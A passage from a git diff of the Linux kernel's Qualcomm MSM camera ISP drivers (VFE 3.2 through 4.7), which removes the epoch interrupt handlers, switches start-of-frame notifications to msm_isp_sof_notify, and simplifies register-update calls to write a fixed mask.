} if (irq_status1 & BIT(28)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_2, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_2, ts); input_src |= (1 << VFE_RAW_2); } @@ -635,30 +625,18 @@ static void msm_vfe32_process_reg_update(struct vfe_device *vfe_dev, msm_isp_axi_stream_update(vfe_dev, input_src); if (atomic_read(&vfe_dev->stats_data.stats_update)) msm_isp_stats_stream_update(vfe_dev); - if (vfe_dev->axi_data.stream_update || - atomic_read(&vfe_dev->stats_data.stats_update)) { - if (input_src & (1 << VFE_PIX_0)) { - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, (1 << VFE_PIX_0)); - } - } msm_isp_update_framedrop_reg(vfe_dev, input_src); - msm_isp_update_stats_framedrop_reg(vfe_dev); msm_isp_update_error_frame_count(vfe_dev); - if ((input_src & (1 << VFE_RAW_0)) || - (input_src & (1 << VFE_RAW_1)) || - (input_src & (1 << VFE_RAW_2))) { - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, input_src); - } + vfe_dev->hw_info->vfe_ops.core_ops. + reg_update(vfe_dev); return; } static void msm_vfe32_reg_update( - struct vfe_device *vfe_dev, uint32_t input_src) + struct vfe_device *vfe_dev) { - msm_camera_io_w_mb(input_src, vfe_dev->vfe_base + 0x260); + msm_camera_io_w_mb(0xF, vfe_dev->vfe_base + 0x260); } static long msm_vfe32_reset_hardware(struct vfe_device *vfe_dev, @@ -948,9 +926,9 @@ static void msm_vfe32_update_camif_state( if (update_state == ENABLE_CAMIF) { val = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); - val |= 0x19; + val |= 0x1; msm_camera_io_w_mb(val, vfe_dev->vfe_base + 0x1C); - msm_camera_io_w_mb(0xA, vfe_dev->vfe_base + 0x200); + val = msm_camera_io_r(vfe_dev->vfe_base + 0x1E4); bus_en = ((vfe_dev->axi_data.src_info[ @@ -1222,10 +1200,9 @@ static int msm_vfe32_axi_restart(struct vfe_device *vfe_dev, /*Clear IRQ Status */ msm_camera_io_w(0xFE7FFFFF, vfe_dev->vfe_base + 0x28); msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x1D8); - msm_camera_io_w_mb(0xA, vfe_dev->vfe_base + 0x200); /* Start AXI */ msm_camera_io_w(0x0, vfe_dev->vfe_base + 0x1D8); - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev, 0xF); + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); memset(&vfe_dev->error_info, 0, sizeof(vfe_dev->error_info)); atomic_set(&vfe_dev->error_info.overflow_state, NO_OVERFLOW); if (enable_camif) { @@ -1559,7 +1536,6 @@ struct msm_vfe_hardware_info vfe32_hw_info = { .process_reset_irq = msm_vfe32_process_reset_irq, .process_halt_irq = msm_vfe32_process_halt_irq, .process_reg_update = msm_vfe32_process_reg_update, - .process_epoch_irq = msm_vfe32_process_epoch_irq, .process_axi_irq = msm_isp_process_axi_irq, .process_stats_irq = msm_isp_process_stats_irq, }, diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp40.c b/drivers/media/platform/msm/camera_v2/isp/msm_isp40.c index 9de8e89113b0f..f38d112594376 100644 --- a/drivers/media/platform/msm/camera_v2/isp/msm_isp40.c +++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp40.c @@ -26,18 +26,15 @@ #define CDBG(fmt, args...) pr_debug(fmt, ##args) #define VFE40_BURST_LEN 1 -#define VFE40_BURST_LEN_8916_VERSION 3 +#define VFE40_BURST_LEN_8916_VERSION 2 #define VFE40_STATS_BURST_LEN 1 #define VFE40_STATS_BURST_LEN_8916_VERSION 2 #define VFE40_UB_SIZE 1536 /* 1536 * 128 bits = 24KB */ #define VFE40_UB_SIZE_8916 2048 /* 2048 * 128 bits = 32KB */ -#define VFE40_UB_SIZE_8939 3072 /* 3072 * 128 bits = 48KB */ #define VFE40_EQUAL_SLICE_UB 190 /* (UB_SIZE - STATS SIZE)/6 */ #define VFE40_EQUAL_SLICE_UB_8916 276 -#define VFE40_EQUAL_SLICE_UB_8939 446 #define VFE40_TOTAL_WM_UB 1144 /* UB_SIZE - STATS SIZE */ #define VFE40_TOTAL_WM_UB_8916 1656 -#define VFE40_TOTAL_WM_UB_8939 2680 #define VFE40_WM_BASE(idx) (0x6C + 0x24 * idx) #define VFE40_RDI_BASE(idx) (0x2E8 + 0x4 * idx) #define VFE40_XBAR_BASE(idx) (0x58 + 0x4 * (idx / 2)) @@ -436,21 +433,11 @@ static void msm_vfe40_process_halt_irq(struct vfe_device *vfe_dev, } } -static void msm_vfe40_process_epoch_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - if (!(irq_status0 & 0xc)) - return; - if (irq_status0 & (1 << 2)) - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_PIX_0, ts); -} - static void msm_vfe40_process_camif_irq(struct vfe_device *vfe_dev, uint32_t irq_status0, uint32_t irq_status1, struct msm_isp_timestamp *ts) { - int cnt = 0; + int cnt; if (!(irq_status0 & 0xF)) return; @@ -458,13 +445,12 @@ static void msm_vfe40_process_camif_irq(struct vfe_device *vfe_dev, if (irq_status0 & (1 << 0)) { ISP_DBG("%s: SOF IRQ\n", __func__); cnt = vfe_dev->axi_data.src_info[VFE_PIX_0].raw_stream_count; - if (cnt > 0 && vfe_dev->axi_data.src_info[VFE_PIX_0]. - pix_stream_count == 0) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_PIX_0, ts); + if (cnt > 0) { + msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); if (vfe_dev->axi_data.stream_update) msm_isp_axi_stream_update(vfe_dev, - (1 << VFE_PIX_0)); - msm_isp_update_framedrop_reg(vfe_dev, (1 << VFE_PIX_0)); + (1 << VFE_RAW_0)); + msm_isp_update_framedrop_reg(vfe_dev, (1 << VFE_RAW_0)); } } if (irq_status0 & (1 << 1)) @@ -674,19 +660,19 @@ static void msm_vfe40_process_reg_update(struct vfe_device *vfe_dev, return; if (irq_status0 & BIT(4)) { - msm_isp_notify(vfe_dev, ISP_EVENT_REG_UPDATE, VFE_PIX_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); input_src |= (1 << VFE_PIX_0); } if (irq_status0 & BIT(5)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); input_src |= (1 << VFE_RAW_0); } if (irq_status0 & BIT(6)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_1, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_1, ts); input_src |= (1 << VFE_RAW_1); } if (irq_status0 & BIT(7)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_2, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_2, ts); input_src |= (1 << VFE_RAW_2); } @@ -696,29 +682,17 @@ static void msm_vfe40_process_reg_update(struct vfe_device *vfe_dev, msm_isp_stats_stream_update(vfe_dev); if (atomic_read(&vfe_dev->axi_data.axi_cfg_update)) msm_isp_axi_cfg_update(vfe_dev); - if (vfe_dev->axi_data.stream_update || - atomic_read(&vfe_dev->stats_data.stats_update) || - atomic_read(&vfe_dev->axi_data.axi_cfg_update)) { - if (input_src & (1 << VFE_PIX_0)) { - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, (1 << VFE_PIX_0)); - } - } msm_isp_update_framedrop_reg(vfe_dev, input_src); msm_isp_update_stats_framedrop_reg(vfe_dev); msm_isp_update_error_frame_count(vfe_dev); - if ((input_src & (1 << VFE_RAW_0)) || - (input_src & (1 << VFE_RAW_1)) || - (input_src & (1 << VFE_RAW_2))) { - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, input_src); - } + + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); return; } -static void msm_vfe40_reg_update(struct vfe_device *vfe_dev, uint32_t input_src) +static void msm_vfe40_reg_update(struct vfe_device *vfe_dev) { - msm_camera_io_w_mb(input_src, vfe_dev->vfe_base + 0x378); + msm_camera_io_w_mb(0xF, vfe_dev->vfe_base + 0x378); } static long msm_vfe40_reset_hardware(struct vfe_device *vfe_dev, @@ -1017,10 +991,7 @@ static void msm_vfe40_cfg_camif(struct vfe_device *vfe_dev, { uint16_t first_pixel, last_pixel, first_line, last_line; struct msm_vfe_camif_cfg *camif_cfg = &pix_cfg->camif_cfg; - struct msm_vfe_camif_subsample_cfg *subsample_cfg = - &pix_cfg->camif_cfg.subsample_cfg; uint32_t val; - bool bus_sub_en = 0; first_pixel = camif_cfg->first_pixel; last_pixel = camif_cfg->last_pixel; @@ -1049,16 +1020,6 @@ static void msm_vfe40_cfg_camif(struct vfe_device *vfe_dev, case CAMIF: val = 0x01; msm_camera_io_w(val, vfe_dev->vfe_base + 0x2F4); - bus_sub_en = ((subsample_cfg->pixel_skip) | - subsample_cfg->line_skip) ? 1:0; - val = msm_camera_io_r(vfe_dev->vfe_base + 0x2F8); - val &= 0xFFFFFFDF; - val = val | bus_sub_en << 5; - msm_camera_io_w(val, vfe_dev->vfe_base + 0x2F8); - subsample_cfg->pixel_skip &= 0x0000FFFF; - subsample_cfg->line_skip &= 0x0000FFFF; - msm_camera_io_w((subsample_cfg->line_skip << 16) | - subsample_cfg->pixel_skip, vfe_dev->vfe_base + 0x30C); break; case TESTGEN: val = 0x01; @@ -1100,9 +1061,8 @@ static void msm_vfe40_update_camif_state(struct vfe_device *vfe_dev, if (update_state == ENABLE_CAMIF) { val = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - val |= 0xF7; + val |= 0xF1; msm_camera_io_w_mb(val, vfe_dev->vfe_base + 0x28); - msm_camera_io_w_mb(0x140000, vfe_dev->vfe_base + 0x318); bus_en = ((vfe_dev->axi_data. @@ -1316,9 +1276,6 @@ static void msm_vfe40_cfg_axi_ub_equal_default( if (vfe_dev->vfe_hw_version == VFE40_8916_VERSION) { vfe_dev->ub_info->wm_ub = VFE40_TOTAL_WM_UB_8916; total_wm_ub = VFE40_TOTAL_WM_UB_8916; - } else if (vfe_dev->vfe_hw_version == VFE40_8939_VERSION){ - vfe_dev->ub_info->wm_ub = VFE40_TOTAL_WM_UB_8939; - total_wm_ub = VFE40_TOTAL_WM_UB_8939; } else { vfe_dev->ub_info->wm_ub = VFE40_TOTAL_WM_UB; total_wm_ub = VFE40_TOTAL_WM_UB; @@ -1361,9 +1318,6 @@ static void msm_vfe40_cfg_axi_ub_equal_slicing( if (vfe_dev->vfe_hw_version == VFE40_8916_VERSION) { vfe_dev->ub_info->wm_ub = VFE40_EQUAL_SLICE_UB_8916; equal_slice_ub = VFE40_EQUAL_SLICE_UB_8916; - } else if (vfe_dev->vfe_hw_version == VFE40_8939_VERSION){ - vfe_dev->ub_info->wm_ub = VFE40_EQUAL_SLICE_UB_8939; - equal_slice_ub = VFE40_EQUAL_SLICE_UB_8939; } else { vfe_dev->ub_info->wm_ub = VFE40_EQUAL_SLICE_UB; equal_slice_ub = VFE40_EQUAL_SLICE_UB; @@ -1442,12 +1396,11 @@ static int msm_vfe40_axi_restart(struct vfe_device *vfe_dev, msm_camera_io_w(0x7FFFFFFF, vfe_dev->vfe_base + 0x30); msm_camera_io_w(0xFEFFFEFF, vfe_dev->vfe_base + 0x34); msm_camera_io_w(0x1, vfe_dev->vfe_base + 0x24); - msm_camera_io_w_mb(0x140000, vfe_dev->vfe_base + 0x318); /* Start AXI */ msm_camera_io_w(0x0, vfe_dev->vfe_base + 0x2C0); - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev, 0xF); + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); memset(&vfe_dev->error_info, 0, sizeof(vfe_dev->error_info)); atomic_set(&vfe_dev->error_info.overflow_state, NO_OVERFLOW); @@ -1634,12 +1587,10 @@ static void msm_vfe40_stats_cfg_ub(struct vfe_device *vfe_dev) 16, /*MSM_ISP_STATS_BHIST*/ }; - if (vfe_dev->vfe_hw_version == VFE40_8916_VERSION ) { + if (vfe_dev->vfe_hw_version == VFE40_8916_VERSION || + vfe_dev->vfe_hw_version == VFE40_8939_VERSION) { stats_burst_len = VFE40_STATS_BURST_LEN_8916_VERSION; ub_offset = VFE40_UB_SIZE_8916; - } else if (vfe_dev->vfe_hw_version == VFE40_8939_VERSION) { - stats_burst_len = VFE40_STATS_BURST_LEN_8916_VERSION; - ub_offset = VFE40_UB_SIZE_8939; } else { stats_burst_len = VFE40_STATS_BURST_LEN; ub_offset = VFE40_UB_SIZE; @@ -1912,7 +1863,6 @@ struct msm_vfe_hardware_info vfe40_hw_info = { .process_halt_irq = msm_vfe40_process_halt_irq, .process_reset_irq = msm_vfe40_process_reset_irq, .process_reg_update = msm_vfe40_process_reg_update, - .process_epoch_irq = msm_vfe40_process_epoch_irq, .process_axi_irq = msm_isp_process_axi_irq, .process_stats_irq = msm_isp_process_stats_irq, }, diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp44.c b/drivers/media/platform/msm/camera_v2/isp/msm_isp44.c index ad82df9ff1622..f9be13f16dc8e 100644 --- a/drivers/media/platform/msm/camera_v2/isp/msm_isp44.c +++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp44.c @@ -286,15 +286,6 @@ static void msm_vfe44_process_halt_irq(struct vfe_device *vfe_dev, } } -static void msm_vfe44_process_epoch_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - if (!(irq_status0 & 0xc)) - return; - if (irq_status0 & (1 << 2)) - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_PIX_0, ts); -} static void msm_vfe44_process_input_irq(struct vfe_device *vfe_dev, uint32_t irq_status0, uint32_t irq_status1, struct msm_isp_timestamp *ts) @@ -313,7 +304,7 @@ static void msm_vfe44_process_input_irq(struct vfe_device *vfe_dev, if (vfe_dev->axi_data.src_info[VFE_PIX_0].raw_stream_count > 0 && vfe_dev->axi_data.src_info[VFE_PIX_0]. pix_stream_count == 0) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_PIX_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); if (vfe_dev->axi_data.stream_update) msm_isp_axi_stream_update(vfe_dev, (1 << VFE_PIX_0)); @@ -517,19 +508,19 @@ static void msm_vfe44_process_reg_update(struct vfe_device *vfe_dev, return; if (irq_status0 & BIT(4)) { - msm_isp_notify(vfe_dev, ISP_EVENT_REG_UPDATE, VFE_PIX_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); input_src |= (1 << VFE_PIX_0); } if (irq_status0 & BIT(5)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); input_src |= (1 << VFE_RAW_0); } if (irq_status0 & BIT(6)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_1, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_1, ts); input_src |= (1 << VFE_RAW_1); } if (irq_status0 & BIT(7)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_2, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_2, ts); input_src |= (1 << VFE_RAW_2); } @@ -539,29 +530,17 @@ static void msm_vfe44_process_reg_update(struct vfe_device *vfe_dev, msm_isp_stats_stream_update(vfe_dev); if (atomic_read(&vfe_dev->axi_data.axi_cfg_update)) msm_isp_axi_cfg_update(vfe_dev); - if (vfe_dev->axi_data.stream_update || - atomic_read(&vfe_dev->stats_data.stats_update) || - atomic_read(&vfe_dev->axi_data.axi_cfg_update)) { - if (input_src & (1 << VFE_PIX_0)) { - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, (1 << VFE_PIX_0)); - } - } + msm_isp_update_framedrop_reg(vfe_dev, input_src); msm_isp_update_stats_framedrop_reg(vfe_dev); msm_isp_update_error_frame_count(vfe_dev); - if ((input_src & (1 << VFE_RAW_0)) || - (input_src & (1 << VFE_RAW_1)) || - (input_src & (1 << VFE_RAW_2))) { - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, input_src); - } - return; + + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); } -static void msm_vfe44_reg_update(struct vfe_device *vfe_dev, uint32_t input_src) +static void msm_vfe44_reg_update(struct vfe_device *vfe_dev) { - msm_camera_io_w_mb(input_src, vfe_dev->vfe_base + 0x378); + msm_camera_io_w_mb(0xF, vfe_dev->vfe_base + 0x378); } static long msm_vfe44_reset_hardware(struct vfe_device *vfe_dev, @@ -943,7 +922,7 @@ static void msm_vfe44_cfg_fetch_engine(struct vfe_device *vfe_dev, temp |= 2 << 16 | pix_cfg->pixel_pattern; msm_camera_io_w(temp, vfe_dev->vfe_base + 0x1C); - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev, 0xF); + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); } else { pr_err("%s: Invalid mux configuration - mux: %d", __func__, pix_cfg->input_mux); @@ -1030,9 +1009,9 @@ static void msm_vfe44_update_camif_state(struct vfe_device *vfe_dev, if (update_state == ENABLE_CAMIF) { val = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - val |= 0xF5; + val |= 0xF1; msm_camera_io_w_mb(val, vfe_dev->vfe_base + 0x28); - msm_camera_io_w_mb(0x200, vfe_dev->vfe_base + 0x318); + bus_en = ((vfe_dev->axi_data. src_info[VFE_PIX_0].raw_stream_count > 0) ? 1 : 0); @@ -1344,11 +1323,11 @@ static int msm_vfe44_axi_restart(struct vfe_device *vfe_dev, msm_camera_io_w(0x7FFFFFFF, vfe_dev->vfe_base + 0x30); msm_camera_io_w(0xFEFFFEFF, vfe_dev->vfe_base + 0x34); msm_camera_io_w(0x1, vfe_dev->vfe_base + 0x24); - msm_camera_io_w_mb(0x200, vfe_dev->vfe_base + 0x318); + /* Start AXI */ msm_camera_io_w(0x0, vfe_dev->vfe_base + 0x2C0); - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev, 0xF); + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); memset(&vfe_dev->error_info, 0, sizeof(vfe_dev->error_info)); atomic_set(&vfe_dev->error_info.overflow_state, NO_OVERFLOW); @@ -1862,7 +1841,6 @@ struct msm_vfe_hardware_info vfe44_hw_info = { .process_halt_irq = msm_vfe44_process_halt_irq, .process_reset_irq = msm_vfe44_process_reset_irq, .process_reg_update = msm_vfe44_process_reg_update, - .process_epoch_irq = msm_vfe44_process_epoch_irq, .process_axi_irq = msm_isp_process_axi_irq, .process_stats_irq = msm_isp_process_stats_irq, }, diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp46.c b/drivers/media/platform/msm/camera_v2/isp/msm_isp46.c index e16c175eba839..5d2b896cfb729 100644 --- a/drivers/media/platform/msm/camera_v2/isp/msm_isp46.c +++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp46.c @@ -324,16 +324,6 @@ static void msm_vfe46_process_halt_irq(struct vfe_device *vfe_dev, } } -static void msm_vfe46_process_epoch_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - if (!(irq_status0 & 0xc)) - return; - if (irq_status0 & (1 << 2)) - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_PIX_0, ts); -} - static void msm_vfe46_process_input_irq(struct vfe_device *vfe_dev, uint32_t irq_status0, uint32_t irq_status1, struct msm_isp_timestamp *ts) @@ -352,7 +342,7 @@ static void msm_vfe46_process_input_irq(struct vfe_device *vfe_dev, if (vfe_dev->axi_data.src_info[VFE_PIX_0].raw_stream_count > 0 && vfe_dev->axi_data.src_info[VFE_PIX_0]. pix_stream_count == 0) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_PIX_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); if (vfe_dev->axi_data.stream_update) msm_isp_axi_stream_update(vfe_dev, (1 << VFE_PIX_0)); @@ -467,19 +457,19 @@ static void msm_vfe46_process_reg_update(struct vfe_device *vfe_dev, return; if (irq_status0 & BIT(4)) { - msm_isp_notify(vfe_dev, ISP_EVENT_REG_UPDATE, VFE_PIX_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); input_src |= (1 << VFE_PIX_0); } if (irq_status0 & BIT(5)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); input_src |= (1 << VFE_RAW_0); } if (irq_status0 & BIT(6)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_1, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_1, ts); input_src |= (1 << VFE_RAW_1); } if (irq_status0 & BIT(7)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_2, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_2, ts); input_src |= (1 << VFE_RAW_2); } @@ -489,30 +479,16 @@ static void msm_vfe46_process_reg_update(struct vfe_device *vfe_dev, msm_isp_stats_stream_update(vfe_dev); if (atomic_read(&vfe_dev->axi_data.axi_cfg_update)) msm_isp_axi_cfg_update(vfe_dev); - if (vfe_dev->axi_data.stream_update || - atomic_read(&vfe_dev->stats_data.stats_update) || - atomic_read(&vfe_dev->axi_data.axi_cfg_update)) { - if (input_src & (1 << VFE_PIX_0)) { - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, (1 << VFE_PIX_0)); - } - } msm_isp_update_framedrop_reg(vfe_dev, input_src); msm_isp_update_stats_framedrop_reg(vfe_dev); msm_isp_update_error_frame_count(vfe_dev); - if ((input_src & (1 << VFE_RAW_0)) || - (input_src & (1 << VFE_RAW_1)) || - (input_src & (1 << VFE_RAW_2))) { - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, input_src); - } - return; + + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); } -static void msm_vfe46_reg_update(struct vfe_device *vfe_dev, - uint32_t input_src) +static void msm_vfe46_reg_update(struct vfe_device *vfe_dev) { - msm_camera_io_w_mb(input_src, vfe_dev->vfe_base + 0x3D8); + msm_camera_io_w_mb(0xF, vfe_dev->vfe_base + 0x3D8); } static long msm_vfe46_reset_hardware(struct vfe_device *vfe_dev, @@ -903,7 +879,7 @@ static void msm_vfe46_cfg_fetch_engine(struct vfe_device *vfe_dev, temp |= pix_cfg->pixel_pattern; msm_camera_io_w(temp, vfe_dev->vfe_base + 0x50); - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev, 0xF); + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); } else { pr_err("%s: Invalid mux configuration - mux: %d", __func__, pix_cfg->input_mux); @@ -991,9 +967,9 @@ static void msm_vfe46_update_camif_state(struct vfe_device *vfe_dev, if (update_state == ENABLE_CAMIF) { val = msm_camera_io_r(vfe_dev->vfe_base + 0x5C); - val |= 0xF5; + val |= 0xF1; msm_camera_io_w_mb(val, vfe_dev->vfe_base + 0x5C); - msm_camera_io_w_mb(0x140000, vfe_dev->vfe_base + 0x3CC); + bus_en = ((vfe_dev->axi_data. src_info[VFE_PIX_0].raw_stream_count > 0) ? 1 : 0); @@ -1321,11 +1297,11 @@ static int msm_vfe46_axi_restart(struct vfe_device *vfe_dev, msm_camera_io_w(0x7FFFFFFF, vfe_dev->vfe_base + 0x64); msm_camera_io_w(0xFFFFFEFF, vfe_dev->vfe_base + 0x68); msm_camera_io_w(0x1, vfe_dev->vfe_base + 0x58); - msm_camera_io_w_mb(0x140000, vfe_dev->vfe_base + 0x3CC); + /* Start AXI */ msm_camera_io_w(0x0, vfe_dev->vfe_base + 0x374); - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev, 0xF); + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); memset(&vfe_dev->error_info, 0, sizeof(vfe_dev->error_info)); atomic_set(&vfe_dev->error_info.overflow_state, NO_OVERFLOW); @@ -1863,7 +1839,6 @@ struct msm_vfe_hardware_info vfe46_hw_info = { .process_halt_irq = msm_vfe46_process_halt_irq, .process_reset_irq = msm_vfe46_process_reset_irq, .process_reg_update = msm_vfe46_process_reg_update, - .process_epoch_irq = msm_vfe46_process_epoch_irq, .process_axi_irq = msm_isp_process_axi_irq, .process_stats_irq = msm_isp_process_stats_irq, }, diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp47.c b/drivers/media/platform/msm/camera_v2/isp/msm_isp47.c index 9503aac9544ae..4fd8fea55dc4f 100644 --- a/drivers/media/platform/msm/camera_v2/isp/msm_isp47.c +++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp47.c @@ -323,16 +323,6 @@ static void msm_vfe47_process_halt_irq(struct vfe_device *vfe_dev, } } -static void msm_vfe47_process_epoch_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - if (!(irq_status0 & 0xc)) - return; - if (irq_status0 & (1 << 2)) - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_PIX_0, ts); -} - static void msm_vfe47_process_input_irq(struct vfe_device *vfe_dev, uint32_t irq_status0, uint32_t irq_status1, struct msm_isp_timestamp *ts) @@ -351,7 +341,7 @@ static void msm_vfe47_process_input_irq(struct vfe_device *vfe_dev, if (vfe_dev->axi_data.src_info[VFE_PIX_0].raw_stream_count > 0 && vfe_dev->axi_data.src_info[VFE_PIX_0]. pix_stream_count == 0) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_PIX_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); if (vfe_dev->axi_data.stream_update) msm_isp_axi_stream_update(vfe_dev, (1 << VFE_PIX_0)); @@ -466,19 +456,19 @@ static void msm_vfe47_process_reg_update(struct vfe_device *vfe_dev, return; if (irq_status0 & BIT(4)) { - msm_isp_notify(vfe_dev, ISP_EVENT_REG_UPDATE, VFE_PIX_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); input_src |= (1 << VFE_PIX_0); } if (irq_status0 & BIT(5)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_0, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); input_src |= (1 << VFE_RAW_0); } if (irq_status0 & BIT(6)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_1, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_1, ts); input_src |= (1 << VFE_RAW_1); } if (irq_status0 & BIT(7)) { - msm_isp_notify(vfe_dev, ISP_EVENT_SOF, VFE_RAW_2, ts); + msm_isp_sof_notify(vfe_dev, VFE_RAW_2, ts); input_src |= (1 << VFE_RAW_2); } @@ -488,29 +478,16 @@ static void msm_vfe47_process_reg_update(struct vfe_device *vfe_dev, msm_isp_stats_stream_update(vfe_dev); if (atomic_read(&vfe_dev->axi_data.axi_cfg_update)) msm_isp_axi_cfg_update(vfe_dev); - if (vfe_dev->axi_data.stream_update || - atomic_read(&vfe_dev->stats_data.stats_update) || - atomic_read(&vfe_dev->axi_data.axi_cfg_update)) { - if (input_src & (1 << VFE_PIX_0)) { - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, (1 << VFE_PIX_0)); - } - } msm_isp_update_framedrop_reg(vfe_dev, input_src); msm_isp_update_stats_framedrop_reg(vfe_dev); msm_isp_update_error_frame_count(vfe_dev); - if ((input_src & (1 << VFE_RAW_0)) || - (input_src & (1 << VFE_RAW_1)) || - (input_src & (1 << VFE_RAW_2))) { - vfe_dev->hw_info->vfe_ops.core_ops. - reg_update(vfe_dev, input_src); - } - return; + + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); } -static void msm_vfe47_reg_update(struct vfe_device *vfe_dev, uint32_t input_src) +static void msm_vfe47_reg_update(struct vfe_device *vfe_dev) { - msm_camera_io_w_mb(input_src, vfe_dev->vfe_base + 0x3D8); + msm_camera_io_w_mb(0xF, vfe_dev->vfe_base + 0x3D8); } static long msm_vfe47_reset_hardware(struct vfe_device *vfe_dev, @@ -895,7 +872,7 @@ static void msm_vfe47_cfg_fetch_engine(struct vfe_device *vfe_dev, temp |= pix_cfg->pixel_pattern; msm_camera_io_w(temp, vfe_dev->vfe_base + 0x50); - vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev, 0xF); + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); } else { pr_err("%s: Invalid mux configuration - mux: %d", __func__, pix_cfg->input_mux); @@ -983,9 +960,9 @@ static void msm_vfe47_update_camif_state(struct vfe_device *vfe_dev, if (update_state == ENABLE_CAMIF) { val = msm_camera_io_r(vfe_dev->vfe_base + 0x5C); - val |= 0xF5; + val |= 0xF1; msm_camera_io_w_mb(val, vfe_dev->vfe_base + 0x5C); - msm_camera_io_w_mb(0x200, vfe_dev->vfe_base + 0x4A0); + bus_en = ((vfe_dev->axi_data. src_info[VFE_PIX_0].raw_stream_count > 0) ? 1 : 0); @@ -1312,11 +1289,11 @@ static int msm_vfe47_axi_restart(struct vfe_device *vfe_dev, msm_camera_io_w(0x7FFFFFFF, vfe_dev->vfe_base + 0x64); msm_camera_io_w(0xFFFFFEFF, vfe_dev->vfe_base + 